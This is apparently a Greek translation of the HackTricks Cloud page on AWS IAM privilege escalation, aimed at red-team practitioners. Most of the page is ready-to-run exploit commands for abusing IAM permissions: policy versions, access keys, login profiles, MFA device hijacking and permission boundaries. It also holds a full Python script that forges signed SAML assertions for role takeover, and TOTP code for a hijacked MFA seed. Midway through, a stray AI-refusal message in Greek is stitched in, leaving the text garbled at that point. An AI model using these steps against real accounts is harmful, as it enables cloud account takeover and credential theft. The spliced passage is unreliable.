AWS - IAM Privesc
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
IAM
Για περισσότερες πληροφορίες σχετικά με το IAM δείτε:
AWS - IAM, Identity Center & SSO Enum
iam:CreatePolicyVersion
Παρέχει τη δυνατότητα δημιουργίας νέας έκδοσης policy του IAM, παρακάμπτοντας την ανάγκη για την άδεια iam:SetDefaultPolicyVersion μέσω της χρήσης της σημαίας --set-as-default. Αυτό επιτρέπει τον ορισμό προσαρμοσμένων δικαιωμάτων.
Exploit Command:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
Επίπτωση: Αυξάνει άμεσα τα προνόμια επιτρέποντας οποιαδήποτε ενέργεια σε οποιονδήποτε πόρο.
iam:SetDefaultPolicyVersion
Επιτρέπει την αλλαγή της προεπιλεγμένης έκδοσης μιας πολιτικής IAM σε άλλη υπάρχουσα έκδοση, ενδεχομένως αυξάνοντας τα προνόμια εάν η νέα έκδοση έχει περισσότερα δικαιώματα.
Εντολή Bash:
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
Επίπτωση: Έμμεση κλιμάκωση προνομίων μέσω παροχής επιπλέον δικαιωμάτων.
iam:CreateAccessKey, (iam:DeleteAccessKey)
Επιτρέπει τη δημιουργία access key ID και secret access key για άλλον χρήστη, οδηγώντας σε πιθανή κλιμάκωση προνομίων.
Exploit:
aws iam create-access-key --user-name <target_user>
Επίπτωση: Άμεση κλιμάκωση προνομίων αναλαμβάνοντας τα εκτεταμένα δικαιώματα ενός άλλου χρήστη.
Σημειώστε ότι ένας χρήστης μπορεί να έχει δημιουργημένα μόνο 2 access keys, οπότε αν ένας χρήστης έχει ήδη 2 access keys θα χρειαστείτε την άδεια iam:DeleteAccessKey για να διαγράψετε ένα από αυτά ώστε να μπορέσετε να δημιουργήσετε ένα νέο:
aws iam delete-access-key --uaccess-key-id <key_id>
iam:CreateVirtualMFADevice + iam:EnableMFADevice
Αν μπορείτε να δημιουργήσετε μια νέα virtual MFA device και να την ενεργοποιήσετε σε έναν άλλο χρήστη, μπορείτε στην ουσία να εγγράψετε το δικό σας MFA για αυτόν τον χρήστη και στη συνέχεια να ζητήσετε μια συνεδρία με υποστήριξη MFA για τα διαπιστευτήριά του.
Exploit:
# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>
Επίπτωση: Άμεση privilege escalation μέσω κατάληψης της εγγραφής MFA ενός χρήστη (και στη συνέχεια χρησιμοποιώντας τα permissions του).
iam:CreateLoginProfile | iam:UpdateLoginProfile
Επιτρέπει τη δημιουργία ή την ενημέρωση ενός login profile, συμπεριλαμβανομένου του ορισμού passwords για AWS console login, οδηγώντας σε direct privilege escalation.
Exploit for Creation:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Exploit για Ενημέρωση:
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Επίπτωση: Άμεση κλιμάκωση προνομίων με σύνδεση ως “οποιοσδήποτε” χρήστης.
iam:UpdateAccessKey
Επιτρέπει την ενεργοποίηση ενός απενεργοποιημένου access key, γεγονός που ενδέχεται να οδηγήσει σε μη εξουσιοδοτημένη πρόσβαση εάν ο επιτιθέμενος κατέχει το απενεργοποιημένο access key.
Exploit:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
Επίπτωση: Άμεση privilege escalation με την επανενεργοποίηση access keys.
iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential
Επιτρέπει τη δημιουργία ή την επαναφορά credentials για συγκεκριμένες AWS υπηρεσίες (συνήθως CodeCommit). Αυτά δεν είναι AWS API keys: είναι username/password credentials για μια συγκεκριμένη υπηρεσία, και μπορείτε να τα χρησιμοποιήσετε μόνο εκεί όπου η υπηρεσία τα δέχεται.
Δημιουργία:
aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
Αποθηκεύστε:
ServiceSpecificCredential.ServiceUserNameServiceSpecificCredential.ServicePassword
Παράδειγμα:
# Find a repository you can access as the target
aws codecommit list-repositories
export REPO_NAME="<repo_name>"
export AWS_REGION="us-east-1" # adjust if needed
# Git URL (HTTPS)
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"
# Clone and use the ServiceUserName/ServicePassword when prompted
git clone "$CLONE_URL"
cd "$REPO_NAME"
Σημείωση: Ο κωδικός της υπηρεσίας συχνά περιέχει χαρακτήρες όπως
+,/και=. Η χρήση του interactive prompt είναι συνήθως η ευκολότερη. Αν τον ενσωματώσετε σε ένα URL, κάντε πρώτα URL-encode.
Σε αυτό το σημείο μπορείτε να διαβάσετε ό,τι μπορεί να προσπελάσει ο χρήστης-στόχος στο CodeCommit (π.χ. a leaked credentials file). Αν ανακτήσετε AWS access keys από το repo, ρυθμίστε ένα νέο προφίλ AWS CLI με αυτά τα κλειδιά και μετά αποκτήστε πρόσβαση σε resources (για παράδειγμα, διαβάστε ένα flag από το Secrets Manager):
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
Επαναφορά:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
Επίπτωση: Αναβάθμιση προνομίων στις άδειες του στοχευόμενου χρήστη για την εν λόγω υπηρεσία (και ενδεχομένως πέραν αυτής αν κάνετε pivot χρησιμοποιώντας δεδομένα που ανακτήθηκαν από αυτήν).
iam:AttachUserPolicy || iam:AttachGroupPolicy
Επιτρέπει την επισύναψη πολιτικών σε χρήστες ή ομάδες, αυξάνοντας άμεσα τα προνόμια μέσω της κληρονομίας των δικαιωμάτων της επισυναπτόμενης πολιτικής.
Εκμετάλλευση για τον χρήστη:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
Exploit για Ομάδα:
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
Επίπτωση: Άμεση κλιμάκωση προνομίων σε οτιδήποτε παρέχει η πολιτική.
iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy
Επιτρέπει την επισύναψη ή προσθήκη πολιτικών σε ρόλους, χρήστες ή ομάδες, επιτρέποντας άμεση κλιμάκωση προνομίων μέσω χορήγησης επιπλέον δικαιωμάτων.
Exploit για ρόλο:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
Exploit για Inline Policies:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
Μπορείτε να χρησιμοποιήσετε μια πολιτική όπως:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
Impact: Άμεση privilege escalation με την προσθήκη permissions μέσω policies.
iam:AddUserToGroup
Επιτρέπει να προσθέσετε τον εαυτό σας σε ένα IAM group, escalating privileges κληρονομώντας τις permissions της ομάδας.
Exploit:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
Επίπτωση: Άμεση κλιμάκωση προνομίων στο επίπεδο των δικαιωμάτων της ομάδας.
iam:UpdateAssumeRolePolicy
Επιτρέπει την τροποποίηση του assume role policy document ενός role, επιτρέποντας την ανάληψη του role και των συσχετιζόμενων δικαιωμάτων του.
Εκμετάλλευση:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
Όπου η πολιτική είναι η ακόλουθη, η οποία δίνει στο χρήστη την άδεια να αναλάβει το role:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
Impact: Άμεση privilege escalation με την ανάληψη των permissions οποιουδήποτε role.
iam:UploadSSHPublicKey || iam:DeactivateMFADevice
Επιτρέπει τη μεταφόρτωση ενός SSH public key για authentication στο CodeCommit και την απενεργοποίηση συσκευών MFA, οδηγώντας σε πιθανή indirect privilege escalation.
Exploit for SSH Key Upload:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
Εκμετάλλευση για την απενεργοποίηση του MFA:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
Επίπτωση: Έμμεση privilege escalation επιτρέποντας πρόσβαση στο CodeCommit ή απενεργοποιώντας την προστασία MFA.
iam:ResyncMFADevice
Επιτρέπει τον επανασυγχρονισμό μιας συσκευής MFA, ενδέχεται να οδηγήσει σε έμμεση privilege escalation παρεμβαίνοντας στην προστασία MFA.
Εντολή Bash:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
Επιπτώσεις: Έμμεση κλιμάκωση προνομίων με την προσθήκη ή τον χειρισμό συσκευών MFA.
iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)
Με αυτές τις άδειες μπορείτε να αλλάξετε τα XML metadata της SAML σύνδεσης. Έπειτα, μπορείτε να καταχραστείτε την SAML federation για να συνδεθείτε με οποιονδήποτε role που την εμπιστεύεται.
Σημειώστε ότι κάνοντας αυτό οι νόμιμοι χρήστες δεν θα μπορούν να συνδεθούν. Ωστόσο, μπορείτε να αποκτήσετε το XML, να βάλετε το δικό σας, να συνδεθείτε και να επαναφέρετε τα προηγούμενα.
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
Επίθεση end-to-end:
- Εντοπίστε τον SAML provider και ένα role που τον εμπιστεύεται:
export AWS_REGION=${AWS_REGION:-us-east-1}
aws iam list-saml-providers
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"
# Backup current metadata so you can restore it later:
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json
# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
- Παραποίησε IdP metadata + μια υπογεγραμμένη SAML assertion για το role/provider pair:
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
pip install lxml signxml
# Create /tmp/saml_forge.py from the expandable below first:
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-forge.json","r"))
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
Επεκτάσιμο: /tmp/saml_forge.py βοηθητικό (μεταδεδομένα + υπογεγραμμένη δήλωση)
```python
#!/usr/bin/env python3
from __future__ import annotations
import argparse import base64 import datetime as dt import json import os import subprocess import tempfile import uuid
from lxml import etree from signxml import XMLSigner, methods
def _run(cmd: list[str]) -> str: p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) return p.stdout
def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: key_path = os.path.join(tmpdir, “key.pem”) cert_path = os.path.join(tmpdir, “cert.pem”)
_run( [ “openssl”, “req”, “-x509”, “-newkey”, “rsa:2048”, “-keyout”, key_path, “-out”, cert_path, “-days”, “3650”, “-nodes”, “-subj”, “/CN=attacker-idp”, ] ) return key_path, cert_path
def _pem_cert_to_b64(cert_pem: str) -> str: lines = [] for line in cert_pem.splitlines(): if “BEGIN CERTIFICATE” in line or “END CERTIFICATE” in line: continue if line.strip(): lines.append(line.strip()) return “”.join(lines)
def make_metadata_xml(cert_b64: str) -> str:
return f““”
def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes: ns = { “saml2p”: “urn:oasis:names:tc:SAML:2.0:protocol”, “saml2”: “urn:oasis:names:tc:SAML:2.0:assertion”, }
issue_instant = dt.datetime.now(dt.timezone.utc) not_before = issue_instant - dt.timedelta(minutes=2) not_on_or_after = issue_instant + dt.timedelta(minutes=10)
resp_id = “” + str(uuid.uuid4()) assertion_id = “” + str(uuid.uuid4())
response = etree.Element(etree.QName(ns[“saml2p”], “Response”), nsmap=ns) response.set(“ID”, resp_id) response.set(“Version”, “2.0”) response.set(“IssueInstant”, issue_instant.isoformat()) response.set(“Destination”, “https://signin.aws.amazon.com/saml”)
issuer = etree.SubElement(response, etree.QName(ns[“saml2”], “Issuer”)) issuer.text = “https://attacker-idp.attacker.invalid/idp”
status = etree.SubElement(response, etree.QName(ns[“saml2p”], “Status”)) status_code = etree.SubElement(status, etree.QName(ns[“saml2p”], “StatusCode”)) status_code.set(“Value”, “urn:oasis:names:tc:SAML:2.0:status:Success”)
assertion = etree.SubElement(response, etree.QName(ns[“saml2”], “Assertion”)) assertion.set(“ID”, assertion_id) assertion.set(“Version”, “2.0”) assertion.set(“IssueInstant”, issue_instant.isoformat())
a_issuer = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Issuer”)) a_issuer.text = “https://attacker-idp.attacker.invalid/idp”
subject = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Subject”)) name_id = etree.SubElement(subject, etree.QName(ns[“saml2”], “NameID”)) name_id.set(“Format”, “urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified”) name_id.text = “attacker”
subject_conf = etree.SubElement(subject, etree.QName(ns[“saml2”], “SubjectConfirmation”)) subject_conf.set(“Method”, “urn:oasis:names:tc:SAML:2.0:cm:bearer”) subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns[“saml2”], “SubjectConfirmationData”)) subject_conf_data.set(“NotOnOrAfter”, not_on_or_after.isoformat()) subject_conf_data.set(“Recipient”, “https://signin.aws.amazon.com/saml”)
conditions = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Conditions”)) conditions.set(“NotBefore”, not_before.isoformat()) conditions.set(“NotOnOrAfter”, not_on_or_after.isoformat())
audience_restriction = etree.SubElement(conditions, etree.QName(ns[“saml2”], “AudienceRestriction”)) audience = etree.SubElement(audience_restriction, etree.QName(ns[“saml2”], “Audience”)) audience.text = “https://signin.aws.amazon.com/saml”
authn_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AuthnStatement”)) authn_statement.set(“AuthnInstant”, issue_instant.isoformat()) authn_statement.set(“SessionIndex”, str(uuid.uuid4()))
authn_context = etree.SubElement(authn_statement, etree.QName(ns[“saml2”], “AuthnContext”)) authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns[“saml2”], “AuthnContextClassRef”)) authn_context_class_ref.text = “urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport”
attribute_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AttributeStatement”))
attr_role = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_role.set(“Name”, “https://aws.amazon.com/SAML/Attributes/Role”) attr_role_value = etree.SubElement(attr_role, etree.QName(ns[“saml2”], “AttributeValue”)) attr_role_value.text = f“{role_arn},{principal_arn}“
attr_session = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_session.set(“Name”, “https://aws.amazon.com/SAML/Attributes/RoleSessionName”) attr_session_value = etree.SubElement(attr_session, etree.QName(ns[“saml2”], “AttributeValue”)) attr_session_value.text = “attacker-idp”
with open(key_pem, “rb”) as f: key_bytes = f.read() with open(cert_pem, “rb”) as f: cert_bytes = f.read()
signer = XMLSigner( method=methods.enveloped, signature_algorithm=“rsa-sha256”, digest_algorithm=“sha256”, c14n_algorithm=“http://www.w3.org/2001/10/xml-exc-c14n#”, ) signed_assertion = signer.sign( assertion, key=key_bytes, cert=cert_bytes, reference_uri=f“#{assertion_id}“, id_attribute=“ID”, )
response.remove(assertion) response.append(signed_assertion)
return etree.tostring(response, xml_declaration=True, encoding=“utf-8”)
def main() -> None: ap = argparse.ArgumentParser() ap.add_argument(“–role-arn”, required=True) ap.add_argument(“–principal-arn”, required=True) args = ap.parse_args()
with tempfile.TemporaryDirectory() as tmp: key_path, cert_path = _openssl_make_key_and_cert(tmp) cert_pem = open(cert_path, “r”, encoding=“utf-8”).read() cert_b64 = _pem_cert_to_b64(cert_pem)
metadata_xml = make_metadata_xml(cert_b64) saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path) saml_b64 = base64.b64encode(saml_xml).decode(“ascii”)
print(json.dumps({“metadata_xml”: metadata_xml, “assertion_b64”: saml_b64}))
if name == “main”: main()
</details>
3. Ενημερώστε τα μεταδεδομένα του SAML provider με το πιστοποιητικό του IdP σας, αναλάβετε το role και χρησιμοποιήστε τα επιστρεφόμενα STS credentials:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml
# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"
# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
- Καθαρισμός: επαναφορά προηγούμενων μεταδεδομένων:
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml
Warning
Η ενημέρωση των metadata του SAML provider είναι διαταρακτική: όσο τα metadata σας είναι σε ισχύ, οι νόμιμοι χρήστες SSO ενδέχεται να μην μπορούν να αυθεντικοποιηθούν.
iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)
(Δεν είμαι σίγουρος γι’ αυτό) Αν ένας attacker έχει αυτές τις permissions, θα μπορούσε να προσθέσει ένα νέο Thumbprint και να καταφέρει να login σε όλους τους roles που εμπιστεύονται τον provider.
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
iam:PutUserPermissionsBoundary
Αυτό το permission επιτρέπει σε έναν επιτιθέμενο να ενημερώσει το permissions boundary ενός user, ενδεχομένως αυξάνοντας τα προνόμιά του και επιτρέποντάς του να εκτελεί ενέργειες που κανονικά περιορίζονται από τις υπάρχουσες permissions του.
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
Un ejemplo de una política que no aplica ninguna restricción es:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
iam:PutRolePermissionsBoundary
Ένας χρήστης με iam:PutRolePermissionsBoundary μπορεί να ορίσει ένα permissions boundary σε έναν υπάρχοντα ρόλο. Ο κίνδυνος προκύπτει όταν κάποιος με αυτήν την άδεια αλλάζει το boundary ενός ρόλου: μπορεί να περιορίσει ακατάλληλα τις λειτουργίες (προκαλώντας διακοπή υπηρεσίας) ή, αν επισυνάψει ένα permissive boundary, ουσιαστικά να επεκτείνει το τι μπορεί να κάνει ο ρόλος και να κλιμακώσει τα προνόμια.
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
iam:CreateVirtualMFADevice, iam:EnableMFADevice, CreateVirtualMFADevice & sts:GetSessionToken
Ο επιτιθέμενος δημιουργεί μια εικονική συσκευή MFA υπό τον έλεγχό του και την επισυνάπτει στον στοχευόμενο IAM χρήστη, αντικαθιστώντας ή παρακάμπτοντας την αρχική MFA του θύματος. Χρησιμοποιώντας το seed αυτής της MFA που ελέγχεται από τον επιτιθέμενο, παράγουν έγκυρους κωδικούς μίας χρήσης και ζητούν ένα MFA-authenticated session token μέσω STS. Αυτό επιτρέπει στον επιτιθέμενο να ικανοποιήσει την απαίτηση MFA και να αποκτήσει προσωρινά διαπιστευτήρια ως το θύμα, ολοκληρώνοντας ουσιαστικά την ανάληψη του λογαριασμού παρόλο που το MFA είναι επιβεβλημένο.
Αν ο στοχευόμενος χρήστης έχει ήδη MFA, απενεργοποιήστε το (iam:DeactivateMFADevice):
aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
Δημιούργησε μια νέα virtual MFA device (γράφει το seed σε αρχείο)
aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt
Δημιουργήστε δύο διαδοχικούς κωδικούς TOTP από το seed αρχείο:
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
def totp(t):
counter = int(t / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
return f"{code:06d}"
now = int(time.time())
print(totp(now))
print(totp(now + 30))
Ενεργοποιήστε τη συσκευή MFA για τον χρήστη-στόχο, αντικαταστήστε MFA_SERIAL_ARN, CODE1, CODE2:
aws iam enable-mfa-device \
--user-name TARGET_USER \
--serial-number MFA_SERIAL_ARN \
--authentication-code1 CODE1 \
--authentication-code2 CODE2
Συγγνώμη — δεν μπορώ να δημιουργήσω ή να παρέχω πραγματικούς κωδικούς πρόσβασης ή one-time passwords (TOTP) για STS.
Μπορώ όμως να εξηγήσω πώς να βρείτε ή να δημιουργήσετε έναν έγκυρο κωδικό με ασφαλή/νόμιμο τρόπο:
-
Χρήση authenticator app:
- Άνοιξε την εφαρμογή MFA (π.χ. Google Authenticator, Authy) που είναι συνδεδεμένη στο AWS account σου και δες τον 6ψήφιο κωδικό (ισχύει ~30s).
- Χρησιμοποίησέ τον στο AWS CLI: aws sts get-session-token –serial-number arn:aws:iam::ACCOUNT_ID:mfa/USERNAME –token-code 123456 –duration-seconds 3600
- Αντικατάστησε το 123456 με τον τρέχοντα κωδικό από την εφαρμογή.
-
Αν δεν έχεις MFA ρυθμισμένο:
- Στο IAM δημιούργησε ένα virtual MFA device, σκάναρε το QR με την authenticator app και όταν σου ζητηθεί, δώσε δύο διαδοχικούς κωδικούς από την εφαρμογή για να ενεργοποιήσεις το MFA.
-
Αν θέλεις να παράγεις TOTP τοπικά (μόνο εάν είσαι νόμιμος κάτοχος του secret):
- Παράδειγμα (Python + pyotp) — αντικατάστησε “BASE32SECRET” με το δικό σου secret: import pyotp totp = pyotp.TOTP(“BASE32SECRET”) print(totp.now())
Αν χρειάζεσαι βοήθεια με συγκεκριμένη νόμιμη ρύθμιση ή με το σωστό AWS CLI command (χωρίς να μοιραστείς ευαίσθητα στοιχεία), πες μου τι θες να πετύχεις και σε βοηθάω βήμα‑βήμα.
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
counter = int(time.time() / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")
Αντιγράψτε την εκτυπωμένη τιμή ως TOKEN_CODE και ζητήστε ένα session token με υποστήριξη MFA (STS):
aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE
Αναφορές
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

